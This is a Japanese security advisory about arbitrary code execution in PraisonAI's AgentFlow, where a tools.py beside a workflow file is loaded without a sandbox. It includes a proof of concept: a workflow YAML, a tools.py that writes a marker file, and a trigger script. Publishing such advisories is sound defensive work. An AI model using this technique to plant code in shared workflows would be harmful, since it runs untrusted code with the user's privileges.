PraisonAI: 不安全な動的モジュール読み込みにより、AgentFlowのtools.pyを介して任意のコード実行が可能
### 概要
不安全な動的モジュール読み込みの脆弱性により、攻撃者がワークフローファイルと関連する`tools.py`を制御できる場合、ワークフローの実行時に任意のPythonコードを実行できるようになる可能性があります。
### 詳細
この脆弱性は、ワークフローの構造化された出力解決ロジックに存在します。
ファイル: src/praisonai-agents/praisonaiagents/workflows/workflows.py
メソッド: AgentFlow._resolve_pydantic_class
```python
if self.file_path:
workflow_dir = Path(self.file_path).parent
tools_path = workflow_dir / "tools.py"
if tools_path.exists():
spec = importlib.util.spec_from_file_location("tools", tools_path)
tools_module = importlib.util.module_from_spec(spec)
spec.loader.exec_module(tools_module) # 任意のコード実行
```
このコードは、ステップの実行中に、ステップが文字列`output_pydantic`を使用する場合に実行されます。
```python
step_output_pydantic = getattr(step, '_output_pydantic', None)
if step_output_pydantic and isinstance(step_output_pydantic, str):
resolved_class = self._resolve_pydantic_class(step_output_pydantic)
```
`file_path`は、以下のメソッドによって自動的に設定されます。
- `WorkflowManager._load_workflow()` (ワークスペースの検出で使用)
- `WorkflowManager.create_workflow()`
また、`load_yaml()`の後に、手動で設定することも可能です。
```python
wf = mgr.load_yaml("workflow.yaml")
wf.file_path = "workflow.yaml"
```
`exec_module()`の呼び出しにはサンドボックスがなく、プロジェクト内の他の場所で使用されている`PRAISONAI_ALLOW_*_TOOLS`環境変数を無視します。
### PoC (概念実証)
同じディレクトリに、以下の2つのファイルを作成します。
`/tmp/attack/attack.yaml`
```yaml
name: AttackWorkflow
steps:
- name: generate
action: "Produce structured output"
output_pydantic: MaliciousModel
```
`/tmp/attack/tools.py`
```python
print("[RCE] 任意のコードがtools.pyから実行されました")
```
```python
import os
with open("/tmp/rce_success.txt", "w") as f:
f.write(f"RCE executed by PID {os.getpid()}")
class MaliciousModel:
@classmethod
def model_json_schema(cls):
return {"type": "object"}
```
以下のPythonコードを実行します(PraisonAIのソースパスを環境に合わせて調整してください)。
```python
import sys
sys.path.insert(0, "/home/user/praisonai/src/praisonai-agents")
from praisonaiagents.workflows import WorkflowManager
from praisonaiagents.agent.agent import Agent
mgr = WorkflowManager()
wf = mgr.load_yaml("/tmp/attack/attack.yaml")
wf.file_path = "/tmp/attack/attack.yaml"
for step in wf.steps:
step.output_pydantic = "MaliciousModel"
step._output_pydantic = "MaliciousModel"
if not getattr(step, "agent", None):
step.agent = Agent(
name="researcher",
role="Researcher",
goal="Generate output",
instructions="Return structured data"
)
wf.start("trigger")
```
### 影響
種類:信頼できないローカルコードが、安全でない動的モジュール読み込みによって実行される。
影響を受けるユーザーは以下の通りです。
- `WorkflowManager(workspace_path=...)`を使用しているユーザー。この場合、ワークフローの自動検出によって`file_path`が設定されます。
- `WorkflowManager.create_workflow()`を使用しているユーザー。
- リポジトリ、テンプレート、共有ワークフローコレクション、CI/CDアーティファクト、または信頼できないファイルが含まれる可能性のあるその他のディレクトリからワークフローを読み込むアプリケーション。
ワークフローの実行中に、文字列`output_pydantic`が参照されると、フレームワークが自動的に関連する`tools.py`ファイルを検索、インポートし、実行します。
その結果、`tools.py`に含まれるコードが、明示的なインポートやユーザーの承認なしに、ワークフロー実行者の権限で実行されます。
攻撃が成功すると、ワークフロープロセス内で任意のPythonコードが実行されます。攻撃者は、ローカルファイルを読み取ったり、プロセスが利用できる機密情報にアクセスしたり、ワークフローの動作を修正したり、ネットワーク操作を実行したり、追加のシステムコマンドを実行したりする可能性があります。
この動作は、プロジェクトの他の部分で使用されている `PRAISONAI_ALLOW_TEMPLATE_TOOLS` / `PRAISONAI_ALLOW_LOCAL_TOOLS` という保護機能を回避し、別のワークフロー解決経路を通じてコードの実行を可能にします。
影響を受けるパッケージ:
- pip (Python) praisonaiagents: 影響を受けるバージョンは 1.6.77 以下、1.6.78 で修正済み。